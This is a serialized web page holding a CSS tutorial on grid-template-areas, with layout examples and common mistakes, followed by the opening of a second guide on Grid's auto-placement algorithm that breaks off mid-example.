areas in ",[143,60974,60975],{},"grid-template-areas",", then assign elements to those names with ",[143,60978,60979],{},"grid-area",[135,60981,60983],{"className":1554,"code":60982,"language":1556,"meta":141,"style":141},".layout {\n  display: grid;\n  grid-template-columns: 250px 1fr;\n  grid-template-rows: auto 1fr auto;\n  grid-template-areas:\n    \"sidebar header\"\n    \"sidebar main\"\n    \"sidebar footer\";\n}\n\n.header  { grid-area: header; }\n.sidebar { grid-area: sidebar; }\n.main    { grid-area: main; }\n.footer  { grid-area: footer; }\n",[143,60984,60985,60991,61001,61019,61036,61043,61048,61053,61060,61064,61068,61080,61091,61102],{"__ignoreMap":141},[1560,60986,60987,60989],{"class":1562,"line":1563},[1560,60988,33471],{"class":1566},[1560,60990,1571],{"class":1570},[1560,60992,60993,60995,60997,60999],{"class":1562,"line":337},[1560,60994,12504],{"class":1576},[1560,60996,1663],{"class":1570},[1560,60998,53158],{"class":1576},[1560,61000,2228],{"class":1570},[1560,61002,61003,61006,61008,61010,61012,61014,61017],{"class":1562,"line":343},[1560,61004,61005],{"class":1576},"  grid-template-columns",[1560,61007,1663],{"class":1570},[1560,61009,45885],{"class":1576},[1560,61011,1670],{"class":1669},[1560,61013,18868],{"class":1576},[1560,61015,61016],{"class":1669},"fr",[1560,61018,2228],{"class":1570},[1560,61020,61021,61024,61026,61028,61030,61032,61034],{"class":1562,"line":365},[1560,61022,61023],{"class":1576},"  grid-template-rows",[1560,61025,1663],{"class":1570},[1560,61027,33331],{"class":1576},[1560,61029,18868],{"class":1576},[1560,61031,61016],{"class":1669},[1560,61033,58828],{"class":1576},[1560,61035,2228],{"class":1570},[1560,61037,61038,61041],{"class":1562,"line":889},[1560,61039,61040],{"class":1576},"  grid-template-areas",[1560,61042,19182],{"class":1570},[1560,61044,61045],{"class":1562,"line":1710},[1560,61046,61047],{"class":5634},"    \"sidebar header\"\n",[1560,61049,61050],{"class":1562,"line":1717},[1560,61051,61052],{"class":5634},"    \"sidebar main\"\n",[1560,61054,61055,61058],{"class":1562,"line":1747},[1560,61056,61057],{"class":5634},"    \"sidebar footer\"",[1560,61059,2228],{"class":1570},[1560,61061,61062],{"class":1562,"line":2507},[1560,61063,1585],{"class":1570},[1560,61065,61066],{"class":1562,"line":2524},[1560,61067,1702],{"emptyLinePlaceholder":363},[1560,61069,61070,61073,61075,61077],{"class":1562,"line":2529},[1560,61071,61072],{"class":1566},".header",[1560,61074,36449],{"class":1570},[1560,61076,60979],{"class":1576},[1560,61078,61079],{"class":1570},": header; }\n",[1560,61081,61082,61084,61086,61088],{"class":1562,"line":2534},[1560,61083,33518],{"class":1566},[1560,61085,1658],{"class":1570},[1560,61087,60979],{"class":1576},[1560,61089,61090],{"class":1570},": sidebar; }\n",[1560,61092,61093,61095,61097,61099],{"class":1562,"line":2542},[1560,61094,33550],{"class":1566},[1560,61096,44815],{"class":1570},[1560,61098,60979],{"class":1576},[1560,61100,61101],{"class":1570},": main; }\n",[1560,61103,61104,61107,61109,61111],{"class":1562,"line":2558},[1560,61105,61106],{"class":1566},".footer",[1560,61108,36449],{"class":1570},[1560,61110,60979],{"class":1576},[1560,61112,61113],{"class":1570},": footer; }\n",[16,61115,61116,61117,61119],{},"Each quoted string in ",[143,61118,60975],{}," represents one row. The names inside each string map cells to their assigned area. The visual alignment of names mirrors the actual layout — you can see sidebar sitting on the left spanning all three rows.",[11,61121,61123],{"id":61122},"rules-for-named-areas","Rules for Named Areas",[41,61125,61126,61132,61135],{},[44,61127,61128,61129,61131],{},"Every cell in the grid must be filled — use a period (",[143,61130,468],{},") for empty cells.",[44,61133,61134],{},"An area name must form a single contiguous rectangle. You cannot create L-shaped or disconnected areas.",[44,61136,61137],{},"An area can span multiple rows and columns by repeating the name.",[135,61139,61141],{"className":1554,"code":61140,"language":1556,"meta":141,"style":141},"grid-template-areas:\n  \"header  header  header\"\n  \"sidebar main    aside\"\n  \"sidebar footer  footer\";\n",[143,61142,61143,61149,61163,61173],{"__ignoreMap":141},[1560,61144,61145,61147],{"class":1562,"line":1563},[1560,61146,60975],{"class":2484},[1560,61148,19182],{"class":1570},[1560,61150,61151,61154,61157,61160],{"class":1562,"line":337},[1560,61152,61153],{"class":1570},"  \"",[1560,61155,61156],{"class":2484},"header",[1560,61158,61159],{"class":2484},"  header",[1560,61161,61162],{"class":1570},"  header\"\n",[1560,61164,61165,61168,61170],{"class":1562,"line":343},[1560,61166,61167],{"class":1570},"  \"sidebar ",[1560,61169,8521],{"class":2484},[1560,61171,61172],{"class":1570},"    aside\"\n",[1560,61174,61175,61177,61180],{"class":1562,"line":365},[1560,61176,61167],{"class":1570},[1560,61178,61179],{"class":2484},"footer",[1560,61181,61182],{"class":1570},"  footer\";\n",[16,61184,61185,61186,61188,61189,61192,61193,61195],{},"Here, ",[143,61187,61156],{}," spans three columns, ",[143,61190,61191],{},"sidebar"," spans two rows, and ",[143,61194,61179],{}," spans two columns — all from readable names rather than line numbers.",[11,61197,61199],{"id":61198},"common-layout-patterns","Common Layout Patterns",[33,61201,61203],{"id":61202},"classic-holy-grail","Classic Holy Grail",[135,61205,61207],{"className":1554,"code":61206,"language":1556,"meta":141,"style":141},".holy-grail {\n  display: grid;\n  grid-template-columns: 200px 1fr 200px;\n  grid-template-rows: auto 1fr auto;\n  grid-template-areas:\n    \"header header  header\"\n    \"nav    content aside\"\n    \"footer footer  footer\";\n  min-height: 100vh;\n}\n",[143,61208,61209,61216,61226,61246,61262,61268,61273,61278,61285,61297],{"__ignoreMap":141},[1560,61210,61211,61214],{"class":1562,"line":1563},[1560,61212,61213],{"class":1566},".holy-grail",[1560,61215,1571],{"class":1570},[1560,61217,61218,61220,61222,61224],{"class":1562,"line":337},[1560,61219,12504],{"class":1576},[1560,61221,1663],{"class":1570},[1560,61223,53158],{"class":1576},[1560,61225,2228],{"class":1570},[1560,61227,61228,61230,61232,61234,61236,61238,61240,61242,61244],{"class":1562,"line":343},[1560,61229,61005],{"class":1576},[1560,61231,1663],{"class":1570},[1560,61233,18101],{"class":1576},[1560,61235,1670],{"class":1669},[1560,61237,18868],{"class":1576},[1560,61239,61016],{"class":1669},[1560,61241,58847],{"class":1576},[1560,61243,1670],{"class":1669},[1560,61245,2228],{"class":1570},[1560,61247,61248,61250,61252,61254,61256,61258,61260],{"class":1562,"line":365},[1560,61249,61023],{"class":1576},[1560,61251,1663],{"class":1570},[1560,61253,33331],{"class":1576},[1560,61255,18868],{"class":1576},[1560,61257,61016],{"class":1669},[1560,61259,58828],{"class":1576},[1560,61261,2228],{"class":1570},[1560,61263,61264,61266],{"class":1562,"line":889},[1560,61265,61040],{"class":1576},[1560,61267,19182],{"class":1570},[1560,61269,61270],{"class":1562,"line":1710},[1560,61271,61272],{"class":5634},"    \"header header  header\"\n",[1560,61274,61275],{"class":1562,"line":1717},[1560,61276,61277],{"class":5634},"    \"nav    content aside\"\n",[1560,61279,61280,61283],{"class":1562,"line":1747},[1560,61281,61282],{"class":5634},"    \"footer footer  footer\"",[1560,61284,2228],{"class":1570},[1560,61286,61287,61289,61291,61293,61295],{"class":1562,"line":2507},[1560,61288,32698],{"class":1576},[1560,61290,1663],{"class":1570},[1560,61292,18114],{"class":1576},[1560,61294,32705],{"class":1669},[1560,61296,2228],{"class":1570},[1560,61298,61299],{"class":1562,"line":2524},[1560,61300,1585],{"class":1570},[33,61302,61304],{"id":61303},"dashboard-layout","Dashboard Layout",[135,61306,61308],{"className":1554,"code":61307,"language":1556,"meta":141,"style":141},".dashboard {\n  display: grid;\n  grid-template-columns: 240px 1fr 1fr;\n  grid-template-rows: 60px 1fr 1fr;\n  grid-template-areas:\n    \"nav    nav    nav\"\n    \"sidebar chart chart\"\n    \"sidebar table stats\";\n  gap: 16px;\n}\n",[143,61309,61310,61317,61327,61347,61367,61373,61378,61383,61390,61402],{"__ignoreMap":141},[1560,61311,61312,61315],{"class":1562,"line":1563},[1560,61313,61314],{"class":1566},".dashboard",[1560,61316,1571],{"class":1570},[1560,61318,61319,61321,61323,61325],{"class":1562,"line":337},[1560,61320,12504],{"class":1576},[1560,61322,1663],{"class":1570},[1560,61324,53158],{"class":1576},[1560,61326,2228],{"class":1570},[1560,61328,61329,61331,61333,61335,61337,61339,61341,61343,61345],{"class":1562,"line":343},[1560,61330,61005],{"class":1576},[1560,61332,1663],{"class":1570},[1560,61334,14865],{"class":1576},[1560,61336,1670],{"class":1669},[1560,61338,18868],{"class":1576},[1560,61340,61016],{"class":1669},[1560,61342,18868],{"class":1576},[1560,61344,61016],{"class":1669},[1560,61346,2228],{"class":1570},[1560,61348,61349,61351,61353,61355,61357,61359,61361,61363,61365],{"class":1562,"line":365},[1560,61350,61023],{"class":1576},[1560,61352,1663],{"class":1570},[1560,61354,18333],{"class":1576},[1560,61356,1670],{"class":1669},[1560,61358,18868],{"class":1576},[1560,61360,61016],{"class":1669},[1560,61362,18868],{"class":1576},[1560,61364,61016],{"class":1669},[1560,61366,2228],{"class":1570},[1560,61368,61369,61371],{"class":1562,"line":889},[1560,61370,61040],{"class":1576},[1560,61372,19182],{"class":1570},[1560,61374,61375],{"class":1562,"line":1710},[1560,61376,61377],{"class":5634},"    \"nav    nav    nav\"\n",[1560,61379,61380],{"class":1562,"line":1717},[1560,61381,61382],{"class":5634},"    \"sidebar chart chart\"\n",[1560,61384,61385,61388],{"class":1562,"line":1747},[1560,61386,61387],{"class":5634},"    \"sidebar table stats\"",[1560,61389,2228],{"class":1570},[1560,61391,61392,61394,61396,61398,61400],{"class":1562,"line":2507},[1560,61393,32235],{"class":1576},[1560,61395,1663],{"class":1570},[1560,61397,10057],{"class":1576},[1560,61399,1670],{"class":1669},[1560,61401,2228],{"class":1570},[1560,61403,61404],{"class":1562,"line":2524},[1560,61405,1585],{"class":1570},[16,61407,61408,61409,1459,61411,1459,61414,61417],{},"Dashboard layouts benefit from named areas because the sections have clear semantic roles — ",[143,61410,61191],{},[143,61412,61413],{},"chart",[143,61415,61416],{},"stats"," — that make the grid definition self-documenting.",[33,61419,61421],{"id":61420},"card-layout-with-gutter","Card Layout With Gutter",[135,61423,61425],{"className":1554,"code":61424,"language":1556,"meta":141,"style":141},".cards {\n  display: grid;\n  grid-template-columns: repeat(3, 1fr);\n  grid-template-areas:\n    \"card1 card2 card3\"\n    \"card4 card5 card6\";\n  gap: 24px;\n}\n",[143,61426,61427,61433,61443,61463,61469,61474,61481,61494],{"__ignoreMap":141},[1560,61428,61429,61431],{"class":1562,"line":1563},[1560,61430,59179],{"class":1566},[1560,61432,1571],{"class":1570},[1560,61434,61435,61437,61439,61441],{"class":1562,"line":337},[1560,61436,12504],{"class":1576},[1560,61438,1663],{"class":1570},[1560,61440,53158],{"class":1576},[1560,61442,2228],{"class":1570},[1560,61444,61445,61447,61449,61451,61453,61455,61457,61459,61461],{"class":1562,"line":343},[1560,61446,61005],{"class":1576},[1560,61448,1663],{"class":1570},[1560,61450,9442],{"class":1576},[1560,61452,1688],{"class":1570},[1560,61454,17821],{"class":1576},[1560,61456,1459],{"class":1570},[1560,61458,3585],{"class":1576},[1560,61460,61016],{"class":1669},[1560,61462,1744],{"class":1570},[1560,61464,61465,61467],{"class":1562,"line":365},[1560,61466,61040],{"class":1576},[1560,61468,19182],{"class":1570},[1560,61470,61471],{"class":1562,"line":889},[1560,61472,61473],{"class":5634},"    \"card1 card2 card3\"\n",[1560,61475,61476,61479],{"class":1562,"line":1710},[1560,61477,61478],{"class":5634},"    \"card4 card5 card6\"",[1560,61480,2228],{"class":1570},[1560,61482,61483,61485,61487,61490,61492],{"class":1562,"line":1717},[1560,61484,32235],{"class":1576},[1560,61486,1663],{"class":1570},[1560,61488,61489],{"class":1576},"24",[1560,61491,1670],{"class":1669},[1560,61493,2228],{"class":1570},[1560,61495,61496],{"class":1562,"line":1747},[1560,61497,1585],{"class":1570},[16,61499,61500],{},"For repeating identical cards, use auto-placement instead of named areas — named areas shine when sections have distinct roles.",[11,61502,61504],{"id":61503},"responsive-reordering","Responsive Reordering",[16,61506,61507],{},"Named areas make responsive reordering simple. Change the template areas in a media query without touching any HTML:",[135,61509,61511],{"className":1554,"code":61510,"language":1556,"meta":141,"style":141},"\u002F* Mobile: stacked layout *\u002F\n@media (max-width: 768px) {\n  .layout {\n    grid-template-columns: 1fr;\n    grid-template-rows: auto;\n    grid-template-areas:\n      \"header\"\n      \"main\"\n      \"sidebar\"\n      \"footer\";\n  }\n}\n",[143,61512,61513,61518,61535,61542,61555,61566,61573,61578,61583,61588,61595,61599],{"__ignoreMap":141},[1560,61514,61515],{"class":1562,"line":1563},[1560,61516,61517],{"class":1649},"\u002F* Mobile: stacked layout *\u002F\n",[1560,61519,61520,61522,61524,61526,61528,61531,61533],{"class":1562,"line":337},[1560,61521,17186],{"class":1669},[1560,61523,5181],{"class":1570},[1560,61525,17191],{"class":1576},[1560,61527,1663],{"class":1570},[1560,61529,61530],{"class":1576},"768",[1560,61532,1670],{"class":1669},[1560,61534,9345],{"class":1570},[1560,61536,61537,61540],{"class":1562,"line":343},[1560,61538,61539],{"class":1566},"  .layout",[1560,61541,1571],{"class":1570},[1560,61543,61544,61547,61549,61551,61553],{"class":1562,"line":365},[1560,61545,61546],{"class":1576},"    grid-template-columns",[1560,61548,1663],{"class":1570},[1560,61550,3585],{"class":1576},[1560,61552,61016],{"class":1669},[1560,61554,2228],{"class":1570},[1560,61556,61557,61560,61562,61564],{"class":1562,"line":889},[1560,61558,61559],{"class":1576},"    grid-template-rows",[1560,61561,1663],{"class":1570},[1560,61563,33331],{"class":1576},[1560,61565,2228],{"class":1570},[1560,61567,61568,61571],{"class":1562,"line":1710},[1560,61569,61570],{"class":1576},"    grid-template-areas",[1560,61572,19182],{"class":1570},[1560,61574,61575],{"class":1562,"line":1717},[1560,61576,61577],{"class":5634},"      \"header\"\n",[1560,61579,61580],{"class":1562,"line":1747},[1560,61581,61582],{"class":5634},"      \"main\"\n",[1560,61584,61585],{"class":1562,"line":2507},[1560,61586,61587],{"class":5634},"      \"sidebar\"\n",[1560,61589,61590,61593],{"class":1562,"line":2524},[1560,61591,61592],{"class":5634},"      \"footer\"",[1560,61594,2228],{"class":1570},[1560,61596,61597],{"class":1562,"line":2529},[1560,61598,4959],{"class":1570},[1560,61600,61601],{"class":1562,"line":2534},[1560,61602,1585],{"class":1570},[16,61604,61605,61606,61608],{},"The sidebar drops below the main content on narrow screens — no ",[143,61607,58961],{}," property, no flex wrapping, no duplicated markup.",[11,61610,61612],{"id":61611},"areas-vs-line-numbers","Areas vs Line Numbers",[193,61614,61615,61627],{},[196,61616,61617],{},[199,61618,61619,61621,61624],{},[202,61620,13104],{},[202,61622,61623],{},"Grid Template Areas",[202,61625,61626],{},"Line Numbers",[211,61628,61629,61640,61651,61662],{},[199,61630,61631,61634,61637],{},[216,61632,61633],{},"Readability",[216,61635,61636],{},"Self-documenting",[216,61638,61639],{},"Requires mental calculation",[199,61641,61642,61645,61648],{},[216,61643,61644],{},"Flexibility",[216,61646,61647],{},"Easy reordering in media queries",[216,61649,61650],{},"Must recalculate spans",[199,61652,61653,61656,61659],{},[216,61654,61655],{},"Limitations",[216,61657,61658],{},"Rectangular areas only",[216,61660,61661],{},"Any shape possible",[199,61663,61664,61667,61670],{},[216,61665,61666],{},"Best for",[216,61668,61669],{},"Page-level layouts",[216,61671,61672],{},"Complex or overlapping grids",[16,61674,61675],{},"Use named areas for page shells with distinct sections. Use line numbers for fine-grained placement, overlapping elements, or grids with many identical items.",[11,61677,2341],{"id":2340},[41,61679,61680,61692,61701],{},[44,61681,61682,61685,61686,61688,61689,61691],{},[47,61683,61684],{},"Misspelling a name"," — if the name in ",[143,61687,60975],{}," does not match any ",[143,61690,60979],{}," assignment, the cell is ignored and the layout breaks silently.",[44,61693,61694,61697,61698,61700],{},[47,61695,61696],{},"Non-rectangular areas"," — using the same name in a non-contiguous shape causes the declaration to be invalid and the entire ",[143,61699,60975],{}," rule is dropped.",[44,61702,61703,61706],{},[47,61704,61705],{},"Mismatched row lengths"," — each row string must have the same number of cells. An extra or missing name invalidates the whole property.",[11,61708,1355],{"id":1354},[41,61710,61711,61714,61717,61720,61723,61726],{},[44,61712,61713],{},"Grid template areas use readable names to define layout, replacing line-number math with visual ASCII syntax.",[44,61715,61716],{},"Each area must form a single contiguous rectangle — periods mark empty cells.",[44,61718,61719],{},"Reordering for responsive design is as simple as rewriting the template in a media query.",[44,61721,61722],{},"Named areas are best for page-level layouts with distinct sections; line numbers suit complex or overlapping grids.",[44,61724,61725],{},"Mismatched row lengths, typos, and non-rectangular shapes silently break the entire declaration.",[44,61727,20246,61728,12674,61730,1856,61733,61736],{},[143,61729,60975],{},[143,61731,61732],{},"grid-template-columns",[143,61734,61735],{},"grid-template-rows"," for full control.",[11,61738,286],{"id":285},[16,61740,61741,61742,468],{},"Visualize and experiment with grid template areas interactively using the ",[98,61743,61745],{"href":61744},"\u002Ftools\u002Fcss-grid","CSS Grid Generator",[2043,61747,61748],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":61750},[61751,61752,61753,61754,61759,61760,61761,61762,61763],{"id":60958,"depth":337,"text":60959},{"id":60968,"depth":337,"text":60969},{"id":61122,"depth":337,"text":61123},{"id":61198,"depth":337,"text":61199,"children":61755},[61756,61757,61758],{"id":61202,"depth":343,"text":61203},{"id":61303,"depth":343,"text":61304},{"id":61420,"depth":343,"text":61421},{"id":61503,"depth":337,"text":61504},{"id":61611,"depth":337,"text":61612},{"id":2340,"depth":337,"text":2341},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Build page layouts visually with named grid areas — the most intuitive Grid feature.",{"immutable":363},"\u002Fguides\u002Fcss-grid-areas-guide",{"title":60953,"description":61764},"guides\u002Fcss-grid-areas-guide","gpc65Ur3AIp3j9abm5B42pnTZNQj0707FY62BVKcpWc",{"id":61771,"title":61772,"body":61773,"date":2070,"description":62552,"extension":361,"meta":62553,"navigation":363,"path":62554,"readingTime":889,"seo":62555,"stem":62556,"__hash__":62557},"guides\u002Fguides\u002Fcss-grid-auto-placement-algorithm.md","CSS Grid Auto Placement Algorithm",{"type":8,"value":61774,"toc":62535},[61775,61779,61796,61799,61803,61855,61864,61924,61928,61932,61940,61974,61978,61983,61995,61999,62006,62010,62019,62023,62029,62035,62038,62043,62048,62097,62101,62263,62271,62275,62337,62345,62349,62361,62409,62415,62419,62422,62490,62493,62495,62524,62526,62532],[11,61776,61778],{"id":61777},"what-is-grid-auto-placement","What Is Grid Auto Placement?",[16,61780,61781,61782,1531,61785,61788,61789,61792,61793,468],{},"When you define a grid container but do not explicitly place every item using ",[143,61783,61784],{},"grid-column",[143,61786,61787],{},"grid-row",", the browser must decide where those unplaced items go. The ",[47,61790,61791],{},"auto placement algorithm"," handles this — it fills empty cells following rules you control via ",[143,61794,61795],{},"grid-auto-flow",[16,61797,61798],{},"Understanding this algorithm helps you predict layout behavior instead of guessing and tweaking blindly.",[11,61800,61802],{"id":61801},"the-three-modes-of-grid-auto-flow","The Three Modes of grid-auto-flow",[193,61804,61805,61815],{},[196,61806,61807],{},[199,61808,61809,61811,61813],{},[202,61810,1769],{},[202,61812,17960],{},[202,61814,1775],{},[211,61816,61817,61830,61842],{},[199,61818,61819,61824,61827],{},[216,61820,61821,61823],{},[143,61822,58185],{}," (default)",[216,61825,61826],{},"Fill rows left to right, then move to next row",[216,61828,61829],{},"Standard card grids, lists",[199,61831,61832,61836,61839],{},[216,61833,61834],{},[143,61835,32691],{},[216,61837,61838],{},"Fill columns top to bottom, then move to next column",[216,61840,61841],{},"Vertical feeds, sidebar items",[199,61843,61844,61849,61852],{},[216,61845,61846],{},[143,61847,61848],{},"dense",[216,61850,61851],{},"Backfill earlier gaps left by spanning items",[216,61853,61854],{},"Masonry-like layouts, mixed-size grids",[16,61856,61857,61858,12674,61860,1531,61862,8037],{},"You can combine ",[143,61859,61848],{},[143,61861,58185],{},[143,61863,32691],{},[135,61865,61867],{"className":1554,"code":61866,"language":1556,"meta":141,"style":141},".grid {\n  display: grid;\n  grid-template-columns: repeat(4, 1fr);\n  grid-auto-flow: row dense;\n}\n",[143,61868,61869,61876,61886,61906,61920],{"__ignoreMap":141},[1560,61870,61871,61874],{"class":1562,"line":1563},[1560,61872,61873],{"class":1566},".grid",[1560,61875,1571],{"class":1570},[1560,61877,61878,61880,61882,61884],{"class":1562,"line":337},[1560,61879,12504],{"class":1576},[1560,61881,1663],{"class":1570},[1560,61883,53158],{"class":1576},[1560,61885,2228],{"class":1570},[1560,61887,61888,61890,61892,61894,61896,61898,61900,61902,61904],{"class":1562,"line":343},[1560,61889,61005],{"class":1576},[1560,61891,1663],{"class":1570},[1560,61893,9442],{"class":1576},[1560,61895,1688],{"class":1570},[1560,61897,12546],{"class":1576},[1560,61899,1459],{"class":1570},[1560,61901,3585],{"class":1576},[1560,61903,61016],{"class":1669},[1560,61905,1744],{"class":1570},[1560,61907,61908,61911,61913,61915,61918],{"class":1562,"line":365},[1560,61909,61910],{"class":1576},"  grid-auto-flow",[1560,61912,1663],{"class":1570},[1560,61914,58185],{"class":1576},[1560,61916,61917],{"class":1576}," dense",[1560,61919,2228],{"class":1570},[1560,61921,61922],{"class":1562,"line":889},[1560,61923,1585],{"class":1570},[11,61925,61927],{"id":61926},"how-the-algorithm-works-step-by-step","How the Algorithm Works — Step by Step",[33,61929,61931],{"id":61930},"step-1-place-items-with-explicit-positions","Step 1: Place Items with Explicit Positions",[16,61933,61934,61935,1531,61937,61939],{},"Items that specify ",[143,61936,61784],{},[143,61938,61787],{}," get placed first. The algorithm skips these and reserves their cells.",[135,61941,61943],{"className":1554,"code":61942,"language":1556,"meta":141,"style":141},".featured {\n  grid-column: 1 \u002F 3; \u002F* spans 2 columns *\u002F\n}\n",[143,61944,61945,61952,61970],{"__ignoreMap":141},[1560,61946,61947,61950],{"class":1562,"line":1563},[1560,61948,61949],{"class":1566},".featured",[1560,61951,1571],{"class":1570},[1560,61953,61954,61957,61959,61961,61963,61965,61967],{"class":1562,"line":337},[1560,61955,61956],{"class":1576},"  grid-column",[1560,61958,1663],{"class":1570},[1560,61960,3585],{"class":1576},[1560,61962,14237],{"class":1570},[1560,61964,17821],{"class":1576},[1560,61966,3664],{"class":1570},[1560,61968,61969],{"class":1649},"\u002F* spans 2 columns *\u002F\n",[1560,61971,61972],{"class":1562,"line":343},[1560,61973,1585],{"class":1570},[33,61975,61977],{"id":61976},"step-2-determine-the-auto-flow-direction","Step 2: Determine the Auto-Flow Direction",[16,61979,61980,61981,8037],{},"The algorithm picks the next available cell based on ",[143,61982,61795],{},[41,61984,61985,61990],{},[44,61986,61987,61989],{},[47,61988,58185],{},": Move right across columns, then down to next row",[44,61991,61992,61994],{},[47,61993,32691],{},": Move down across rows, then right to next column",[33,61996,61998],{"id":61997},"step-3-place-remaining-items-in-order","Step 3: Place Remaining Items in Order",[16,62000,62001,62002,62005],{},"Items without explicit placement fill cells in DOM order. If an item spans multiple tracks (",[143,62003,62004],{},"span 2","), the algorithm searches for a contiguous block of empty cells large enough.",[33,62007,62009],{"id":62008},"step-4-handle-dense-packing-if-enabled","Step 4: Handle Dense Packing (if enabled)",[16,62011,62012,62013,62015,62016,62018],{},"With ",[143,62014,61848],{},", after placing an item that spans multiple tracks, the algorithm goes back to check whether smaller items can fill gaps left behind. Without ",[143,62017,61848],{},", those gaps stay empty.",[11,62020,62022],{"id":62021},"the-spanning-problem","The Spanning Problem",[16,62024,62025,62026,8037],{},"Spanning items create gaps. Consider a 4-column grid with ",[143,62027,62028],{},"grid-auto-flow: row",[135,62030,62033],{"className":62031,"code":62032,"language":140},[138],"[1-wide] [1-wide] [1-wide] [3-wide spanning]\n                          ┌─────────────────┐\n                          │    spans 3 cols  │\n                          └─────────────────┘\n",[143,62034,62032],{"__ignoreMap":141},[16,62036,62037],{},"The 3-wide item does not fit in the last column of row 1 (needs 3 consecutive empty cells), so it wraps to row 2. This leaves column 4 of row 1 empty — a gap.",[16,62039,58350,62040,62042],{},[143,62041,61848],{},": the gap persists. The next item starts at row 2, column 1.",[16,62044,62012,62045,62047],{},[143,62046,61848],{},": the algorithm backfills. The next 1-wide item fills column 4 of row 1.",[135,62049,62051],{"className":1554,"code":62050,"language":1556,"meta":141,"style":141},"\u002F* Without dense — gaps persist *\u002F\n.grid { grid-auto-flow: row; }\n\n\u002F* With dense — gaps get filled *\u002F\n.grid { grid-auto-flow: row dense; }\n",[143,62052,62053,62058,62072,62076,62081],{"__ignoreMap":141},[1560,62054,62055],{"class":1562,"line":1563},[1560,62056,62057],{"class":1649},"\u002F* Without dense — gaps persist *\u002F\n",[1560,62059,62060,62062,62064,62066,62068,62070],{"class":1562,"line":337},[1560,62061,61873],{"class":1566},[1560,62063,1658],{"class":1570},[1560,62065,61795],{"class":1576},[1560,62067,1663],{"class":1570},[1560,62069,58185],{"class":1576},[1560,62071,1673],{"class":1570},[1560,62073,62074],{"class":1562,"line":343},[1560,62075,1702],{"emptyLinePlaceholder":363},[1560,62077,62078],{"class":1562,"line":365},[1560,62079,62080],{"class":1649},"\u002F* With dense — gaps get filled *\u002F\n",[1560,62082,62083,62085,62087,62089,62091,62093,62095],{"class":1562,"line":889},[1560,62084,61873],{"class":1566},[1560,62086,1658],{"class":1570},[1560,62088,61795],{"class":1576},[1560,62090,1663],{"class":1570},[1560,62092,58185],{"class":1576},[1560,62094,61917],{"class":1576},[1560,62096,1673],{"class":1570},[11,62098,62100],{"id":62099},"practical-example-magazine-layout","Practical Example: Magazine Layout",[135,62102,62104],{"className":1554,"code":62103,"language":1556,"meta":141,"style":141},".magazine {\n  display: grid;\n  grid-template-columns: repeat(4, 1fr);\n  grid-auto-rows: minmax(200px, auto);\n  grid-auto-flow: row dense;\n  gap: 16px;\n}\n\n.hero {\n  grid-column: span 2;\n  grid-row: span 2;\n}\n\n.sidebar {\n  grid-column: span 1;\n  grid-row: span 2;\n}\n",[143,62105,62106,62113,62123,62143,62165,62177,62189,62193,62197,62203,62214,62225,62229,62233,62239,62249,62259],{"__ignoreMap":141},[1560,62107,62108,62111],{"class":1562,"line":1563},[1560,62109,62110],{"class":1566},".magazine",[1560,62112,1571],{"class":1570},[1560,62114,62115,62117,62119,62121],{"class":1562,"line":337},[1560,62116,12504],{"class":1576},[1560,62118,1663],{"class":1570},[1560,62120,53158],{"class":1576},[1560,62122,2228],{"class":1570},[1560,62124,62125,62127,62129,62131,62133,62135,62137,62139,62141],{"class":1562,"line":343},[1560,62126,61005],{"class":1576},[1560,62128,1663],{"class":1570},[1560,62130,9442],{"class":1576},[1560,62132,1688],{"class":1570},[1560,62134,12546],{"class":1576},[1560,62136,1459],{"class":1570},[1560,62138,3585],{"class":1576},[1560,62140,61016],{"class":1669},[1560,62142,1744],{"class":1570},[1560,62144,62145,62148,62150,62153,62155,62157,62159,62161,62163],{"class":1562,"line":365},[1560,62146,62147],{"class":1576},"  grid-auto-rows",[1560,62149,1663],{"class":1570},[1560,62151,62152],{"class":1576},"minmax",[1560,62154,1688],{"class":1570},[1560,62156,18101],{"class":1576},[1560,62158,1670],{"class":1669},[1560,62160,1459],{"class":1570},[1560,62162,33331],{"class":1576},[1560,62164,1744],{"class":1570},[1560,62166,62167,62169,62171,62173,62175],{"class":1562,"line":889},[1560,62168,61910],{"class":1576},[1560,62170,1663],{"class":1570},[1560,62172,58185],{"class":1576},[1560,62174,61917],{"class":1576},[1560,62176,2228],{"class":1570},[1560,62178,62179,62181,62183,62185,62187],{"class":1562,"line":1710},[1560,62180,32235],{"class":1576},[1560,62182,1663],{"class":1570},[1560,62184,10057],{"class":1576},[1560,62186,1670],{"class":1669},[1560,62188,2228],{"class":1570},[1560,62190,62191],{"class":1562,"line":1717},[1560,62192,1585],{"class":1570},[1560,62194,62195],{"class":1562,"line":1747},[1560,62196,1702],{"emptyLinePlaceholder":363},[1560,62198,62199,62201],{"class":1562,"line":2507},[1560,62200,32789],{"class":1566},[1560,62202,1571],{"class":1570},[1560,62204,62205,62207,62210,62212],{"class":1562,"line":2524},[1560,62206,61956],{"class":1576},[1560,62208,62209],{"class":1570},": span 